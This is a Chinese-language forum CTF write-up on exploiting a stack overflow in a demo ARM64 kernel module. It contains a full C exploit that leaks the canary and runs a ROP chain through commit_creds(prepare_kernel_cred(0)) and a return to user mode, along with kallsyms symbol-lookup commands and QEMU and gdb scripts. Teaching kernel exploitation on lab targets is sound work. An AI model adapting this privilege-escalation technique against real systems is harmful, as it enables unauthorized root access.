本文为看雪论坛优秀文章
看雪论坛作者ID:gxh1911
一
概述
二
代码审计
存在栈溢出漏洞
# 查程序基址 各个节
grep demo /proc/modules
grep "0x" /sys/module/demo/sections/.*
# 查 vmlinux 符号
grep prepare_kernel_cred /proc/kallsyms
grep commit_creds /proc/kallsyms
grep _text /proc/kallsyms # vmlinux 内核基址
[sp, #0x10] // 从 sp+0x10 的地方取值
[sp, #0x10]! // 从 sp+0x10 的地方取值,取完值后 sp+0x10
[sp], #0x10 // 从 sp 的地方取值,取完值后 sp+0x10
pwndbg> i reg
x0 0x0 0
x1 0x0 0
x2 0x8 8
x3 0x20 32
x4 0xffffffffffffffe0 -32
x5 0x40 64
x6 0x3f 63
x7 0x0 0
x8 0xffff000002eaebe8 -281474927760408
x9 0x0 0
x10 0x0 0
x11 0x0 0
x12 0x438614 4425236
x13 0x60001000 1610616832
x14 0x1200011 18874385
x15 0xdc 220
x16 0x0 0
x17 0x0 0
x18 0xcfab 53163
x19 0xffff000002ead100 -281474927767296
x20 0xffff80000a2b3da0 -140737317749344
x21 0x1200000 18874368
x22 0x0 0
x23 0xffff80000a2b8000 -140737317732352
x24 0xffff80000a2bbeb0 -140737317716304
x25 0x0 0
x26 0xffff000002eae480 -281474927762304
x27 0xffff80000a0417e0 -140737320314912
x28 0xffff000002eade80 -281474927763840
x29 0xffff80000a2b3bc0 -140737317749824
x30 0xffff800008016950 -140737354045104
sp 0xffff80000a2b3bc0 0xffff80000a2b3bc0
pc 0xffff800008016958 0xffff800008016958
cpsr 0x5 5
fpsr 0x0 0
fpcr 0x0 0
MVFR6_EL1_RESERVED 0x0 0
MVFR7_EL1_RESERVED 0x0 0
MAIR_EL3 0x0 0
ID_AA64PFR1_EL1 0x1 1
ID_AA64PFR2_EL1_RESERVED 0x0 0
ID_AA64PFR3_EL1_RESERVED 0x0 0
SCTLR 0x200002034f4d91d 144115326403270941
ID_AA64ZFR0_EL1 0x0 0
CNTKCTL 0xc6 198
DACR32_EL2 0x0 0
ID_AA64PFR5_EL1_RESERVED 0x0 0
ACTLR_EL1 0x0 0
CPACR 0x300000 3145728
ID_AA64PFR6_EL1_RESERVED 0x0 0
FPEXC32_EL2 0x0 0
ID_AA64PFR7_EL1_RESERVED 0x0 0
ID_AA64DFR0_EL1 0x10305106 271601926
ID_AA64DFR1_EL1 0x0 0
ID_AA64DFR2_EL1_RESERVED 0x0 0
ID_AA64DFR3_EL1_RESERVED 0x0 0
ID_AA64AFR0_EL1 0x0 0
ID_AA64AFR1_EL1 0x0 0
ID_AA64AFR2_EL1_RESERVED 0x0 0
CNTFRQ_EL0 0x3b9aca0 62500000
ID_AA64AFR3_EL1_RESERVED 0x0 0
SPSR_EL1 0x60001000 1610616832
ID_AA64ISAR0_EL1 0x1021111110212120 1162228943821021472
DBGBVR 0x0 0
ELR_EL1 0x438614 4425236
ID_AA64ISAR1_EL1 0x11101011010 1172542918672
PMEVTYPER0_EL0 0x0 0
DBGBCR 0x0 0
ID_AA64ISAR2_EL1_RESERVED 0x0 0
PMEVTYPER1_EL0 0x0 0
DBGWVR 0x0 0
ID_AA64ISAR3_EL1_RESERVED 0x0 0
ZCR_EL1 0x0 0
DBGWCR 0x0 0
RVBAR_EL1 0x0 0
ID_AA64ISAR4_EL1_RESERVED 0x0 0
PMEVTYPER2_EL0 0x0 0
PMEVTYPER3_EL0 0x0 0
MDCCSR_EL0 0x1000 4096
ID_AA64ISAR5_EL1_RESERVED 0x0 0
ID_AA64ISAR6_EL1_RESERVED 0x0 0
ID_AA64ISAR7_EL1_RESERVED 0x0 0
SP_EL0 0xffff000002ead100 -281474927767296
ID_AA64MMFR0_EL1 0x1124 4388
DBGBVR 0x0 0
ID_AA64MMFR1_EL1 0x11000 69632
DBGBCR 0x0 0
ID_AA64MMFR2_EL1_RESERVED 0x0 0
PMINTENSET_EL1 0x0 0
DBGWVR 0x0 0
ID_AA64MMFR3_EL1_RESERVED 0x0 0
PMINTENCLR_EL1 0x0 0
DBGWCR 0x0 0
ID_AA64MMFR4_EL1_RESERVED 0x0 0
PMCNTENSET_EL0 0x0 0
ACTLR_EL2 0x0 0
PMCR_EL0 0x2000 8192
ID_AA64MMFR5_EL1_RESERVED 0x0 0
PMCNTENCLR_EL0 0x0 0
VBAR 0xffff800008010800 -140737354070016
ID_AA64MMFR6_EL1_RESERVED 0x0 0
PMOVSCLR_EL0 0x0 0
MDSCR_EL1 0x1000 4096
ID_AA64MMFR7_EL1_RESERVED 0x0 0
CNTP_CTL_EL0 0x0 0
PMSELR_EL0 0x0 0
CNTP_CVAL_EL0 0x0 0
DBGBVR 0x0 0
DBGBCR 0x0 0
PMCEID1_EL0 0x0 0
PMCEID0_EL0 0x20001 131073
DBGWVR 0x0 0
PMCCNTR_EL0 0x0 0
DBGWCR 0x0 0
L2ACTLR 0x0 0
TTBR0_EL1 0x42eca000 1122803712
TTBR1_EL1 0x280000418b0000 11259000168054784
CNTV_CTL_EL0 0x1 1
TCR_EL1 0x400034b5503510 18014624889713936
DBGBVR 0x0 0
DBGBCR 0x0 0
ACTLR_EL3 0x0 0
CNTV_CVAL_EL0 0x2aff26ff 721364735
DBGWVR 0x0 0
ZCR_EL2 0x0 0
PMUSERENR_EL0 0x0 0
DBGWCR 0x0 0
PMOVSSET_EL0 0x0 0
APIAKEYLO_EL1 0x0 0
APIAKEYHI_EL1 0x0 0
SP_EL1 0xffff80000a2b4000 -140737317748736
MDRAR_EL1 0x0 0
APIBKEYLO_EL1 0x0 0
PMCCFILTR_EL0 0x0 0
DBGBVR 0x0 0
APIBKEYHI_EL1 0x0 0
DBGBCR 0x0 0
CPUACTLR_EL1 0x0 0
CPUECTLR_EL1 0x0 0
CONTEXTIDR_EL1 0x0 0
APDAKEYLO_EL1 0x0 0
APDAKEYHI_EL1 0x0 0
CNTPS_CTL_EL1 0x0 0
CPUMERRSR_EL1 0x0 0
CNTPS_CVAL_EL1 0x0 0
L2MERRSR_EL1 0x0 0
DBGBVR 0x0 0
APDBKEYLO_EL1 0x0 0
MAIR_EL1 0x40044ffff 17184391167
APDBKEYHI_EL1 0x0 0
DBGBCR 0x0 0
TPIDR_EL1 0xffff80000673f000 -140737380093952
AFSR0_EL1 0x0 0
OSLSR_EL1 0x8 8
AFSR1_EL1 0x0 0
PAR_EL1 0x0 0
CBAR_EL1 0x8000000 134217728
APGAKEYLO_EL1 0x0 0
APGAKEYHI_EL1 0x0 0
SPSR_IRQ 0x0 0
MDCR_EL3 0x0 0
SPSR_ABT 0x0 0
AMAIR0 0x0 0
FPCR 0x0 0
SPSR_UND 0x0 0
SPSR_FIQ 0x0 0
FPSR 0x0 0
ESR_EL1 0x56000000 1442840576
CLIDR 0xa200023 169869347
REVIDR_EL1 0x0 0
ID_PFR0 0x131 305
ID_DFR0 0x3010066 50397286
ID_AFR0 0x0 0
ID_MMFR0 0x10101105 269488389
CSSELR 0x0 0
LORSA_EL1 0x0 0
ID_MMFR1 0x40000000 1073741824
AIDR 0x0 0
TPIDR_EL0 0x11439700 289642240
LOREA_EL1 0x0 0
ID_MMFR2 0x1260000 19267584
TPIDRRO_EL0 0x0 0
LORN_EL1 0x0 0
ID_MMFR3 0x2102211 34611729
IFSR32_EL2 0x0 0
LORC_EL1 0x0 0
ID_ISAR0 0x2101110 34607376
ID_ISAR1 0x13112111 319889681
PMEVCNTR0_EL0 0x0 0
ID_ISAR2 0x21232042 555950146
PMEVCNTR1_EL0 0x0 0
ID_ISAR3 0x1112131 17899825
CTR_EL0 0x8444c004 2219098116
LORID_EL1 0x0 0
PMEVCNTR2_EL0 0x0 0
ID_ISAR4 0x11142 69954
PMEVCNTR3_EL0 0x0 0
ID_ISAR5 0x11011121 285282593
ID_MMFR4 0x0 0
ID_ISAR6 0x11111 69905
L2CTLR_EL1 0x0 0
MVFR0_EL1 0x10110222 269550114
L2ECTLR_EL1 0x0 0
FAR_EL1 0xffffce1148b0 281474138982576
MVFR1_EL1 0x12111111 303108369
MVFR2_EL1 0x43 67
MVFR3_EL1_RESERVED 0x0 0
MVFR4_EL1_RESERVED 0x0 0
MVFR5_EL1_RESERVED 0x0 0
特殊用途寄存器:
X8:是间接结果寄存器,用于保存子程序返回地址
X16 和 X17:程序内调用临时寄存器
X18:平台寄存器
X29:帧指针寄存器(FP),类似 rsp
X30:链接寄存器(LR),一般存的是返回地址
X31:堆栈指针寄存器 SP 或零寄存器 ZXR
STP X29, X30, [SP,#var_40]!
...
LDP X21, X22, [SP,#0x40+var_20]
LDP X29, X30, [SP+0x40+var_40],#0x40
RET
STP 从 [SP,#var_40] 中取出值(两个八字节),放入 x29、x30
LDP 从 [SP,#0x40+var_20] 中取出值,同上。。。
LDP 从 [SP+0x40+var_40] 中取出值(两个八字节),放入 x29、x30,然后 sp + 0x40
// ret2_usr_mode
► 0xffff800008011fe4: msr sp_el0, x23
...
...
0xffff800008012024 msr elr_el1, x21
0xffff800008012028 msr spsr_el1, x22
0xffff80000801202c ldp x0, x1, [sp]
0xffff800008012030 ldp x2, x3, [sp, #0x10]
0xffff800008012034 ldp x4, x5, [sp, #0x20]
0xffff800008012038 ldp x6, x7, [sp, #0x30]
0xffff80000801203c ldp x8, x9, [sp, #0x40]
0xffff800008012040 ldp x10, x11, [sp, #0x50]
0xffff800008012044 ldp x12, x13, [sp, #0x60]
0xffff800008012048 ldp x14, x15, [sp, #0x70]
0xffff80000801204c ldp x16, x17, [sp, #0x80]
sp_el0:保存用户态的栈指针
elr_el1:保存要返回的用户态PC指针(一般写成 system即可)
spsr_el1:固定值 0x80001000
三
利用
#!/bin/sh
mount -t devtmpfs none /dev
mount -t proc none /proc
mount -t sysfs none /sys
insmod /home/pwn/demo.ko
chown -R 1000:1000 /home/pwn
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/perf_event_paranoid
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
# cd /home/pwn
# setsid cttyhack setuidgid 1000 sh
# setsid cttyhack setuidgid 0 sh
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# setsid /bin/cttyhack setuidgid 0 /bin/sh
umount /proc
poweroff -f
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
# cd /home/pwn
# setsid cttyhack setuidgid 1000 sh
# setsid cttyhack setuidgid 0 sh
setsid /bin/cttyhack setuidgid 1000 /bin/sh
# setsid /bin/cttyhack setuidgid 0 /bin/sh
#!/bin/bash
# 编译 exp
~/gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gcc exp.c -static -o rootfs/exp
# rootfs 打包
pushd rootfs
find . | cpio -o --format=newc > ../initramfs.cpio
popd
gzip initramfs.cpio
# 启动 gdb
gnome-terminal -e 'gdb-multiarch -x mygdbinit'
# 启动 qemu
# timeout --foreground 60 cnmd
qemu-system-aarch64 \
-m 256M \
-machine virt \
-cpu max \
-kernel ./Image \
-append "console=ttyAMA0 loglevel=3 oops=panic panic=1" \
-initrd ./initramfs.cpio.gz \
-monitor /dev/null \
-smp cores=1,threads=1 \
-nographic \
-s
timeout --foreground 60 cnmd
~/gcc-linaro-7.5.0-2019.12-x86_64_aarch64-linux-gnu/bin/aarch64-linux-gnu-gcc exp.c -static -o rootfs/exp
sudo apt-get install emdebian-archive-keyring
sudo apt-get install linux-libc-dev-arm64-cross libc6-arm64-cross
sudo apt-get install binutils-aarch64-linux-gnu gcc-8-aarch64-linux-gnu
sudo apt-get install g++-8-aarch64-linux-gnu
aarch64-linux-gnu-gcc-8 -static exp.c -o rootfs/exp
read 函数 leak canary
write 函数 写入 rop
先是内核空间执行 commit_creds(prepare_kernel_cred(0) 提权
然后返回用户态使用 orw 读取 flag(system 好像不行)
.text:0000000000014F50 MOV W0, #0
.text:0000000000014F54 LDP X19, X20, [SP,#var_s10]
.text:0000000000014F58 LDP X21, X22, [SP,#var_s20]
.text:0000000000014F5C LDP X29, X30, [SP+var_s0],#0x30
.text:0000000000014F60 RET
.text:0000000000016958 LDP X21, X22, [SP,#0x50+var_30]
.text:000000000001695C LDP X23, X24, [SP,#0x50+var_20]
.text:0000000000016960 LDR X25, [SP,#0x50+var_10]
.text:0000000000016964 LDP X29, X30, [SP+0x50+var_50],#0x50
.text:0000000000016968 RET
// ret2_usr_mode
► 0xffff800008011fe4: msr sp_el0, x23
...
...
0xffff800008012024 msr elr_el1, x21
0xffff800008012028 msr spsr_el1, x22
0xffff80000801202c ldp x0, x1, [sp]
0xffff800008012030 ldp x2, x3, [sp, #0x10]
0xffff800008012034 ldp x4, x5, [sp, #0x20]
0xffff800008012038 ldp x6, x7, [sp, #0x30]
0xffff80000801203c ldp x8, x9, [sp, #0x40]
0xffff800008012040 ldp x10, x11, [sp, #0x50]
0xffff800008012044 ldp x12, x13, [sp, #0x60]
0xffff800008012048 ldp x14, x15, [sp, #0x70]
0xffff80000801204c ldp x16, x17, [sp, #0x80]
STP X29, X30, [SP,#-0x20+var_s0]!
#include <stdio.h>
#include <string.h>
#include <fcntl.h> //open
#include <stdlib.h> //size_t
#include <sys/stat.h>
#include <fcntl.h>
#define prepare_kernel_cred_addr 0xffff8000080a24f8
#define commit_creds_addr 0xffff8000080a2258
#define vmlinux_base_addr 0xffff800008000000
#define elf_base 0xffff800000e40000
#define ret2_user_mode 0xffff800008011fe4
void get_shell() {
printf("[+] got shell, welcome %s\n", (getuid() ? "user" : "root"));
// system("/bin/sh");
char buf[0x50] = {0};
int fd = open("/flag",0);
read(fd, buf, 0x50);
write(1, buf, 0x50);
}
int main() {
int fd = open("/proc/demo", O_RDWR);
size_t mem[0x200];
memset(mem, '\x00', sizeof(mem));
read(fd, mem, 128+8);
size_t canary = mem[16];
printf("[+] canary = %p\n", canary);
// write
memset(mem, '\x00', sizeof(mem));
memset(mem, 'a', 0x80);
mem[16] = canary;
mem[17] = 0xaaaaaaaaaaaaaaaa;
// mem[18] = 0xbbbbbbbbbbbbbbbb;
mem[18] = vmlinux_base_addr+0x14F50;
mem[19] = 0xcccccccccccccccc;
mem[20] = 0xdddddddddddddddd;
mem[21] = 0xeeeeeeeeeeeeeeee;
// mem[22] = 0xffffffffffffffff;
mem[22] = prepare_kernel_cred_addr+4;
// mem[23] = commit_creds_addr+4;
mem[23] = 0xaaaaaaaaaaaaaaaa;
mem[24] = 0xccccccccdddddddd;
mem[25] = 0xeeeeeeeeffffffff;
mem[26] = 0xaaaaaaaabbbbbbbb;
mem[27] = 0xccccccccdddddddd;
// mem[28] = vmlinux_base_addr+0x14F5C;
mem[28] = commit_creds_addr+4;
// mem[29] = 0xaaaaaaaaaaaaaaaa;
// mem[30] = 0xbbbbbbbbbbbbbbbb;
mem[31] = 0xcccccccccccccccc;
mem[32] = vmlinux_base_addr+0x16958;
mem[33] = 0xaaaaaaaaaaaaaaaa;
mem[34] = 0xbbbbbbbbbbbbbbbb;
mem[35] = 0xcccccccccccccccc;
mem[35] = 0xdddddddddddddddd;
mem[36] = 0xccccccccdddddddd;
mem[37] = 0xeeeeeeeeffffffff;
mem[38] = ret2_user_mode;
mem[39] = 0xccccccccdddddddd;
mem[40] = 0xaaaaaaaabbbbbbbb;
mem[41] = (size_t)get_shell;
mem[42] = 0x80001000;
mem[43] = (size_t)mem;
write(fd,mem,0x200);
close(fd);
}
看雪ID:gxh1911
https://bbs.pediy.com/user-home-933934.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!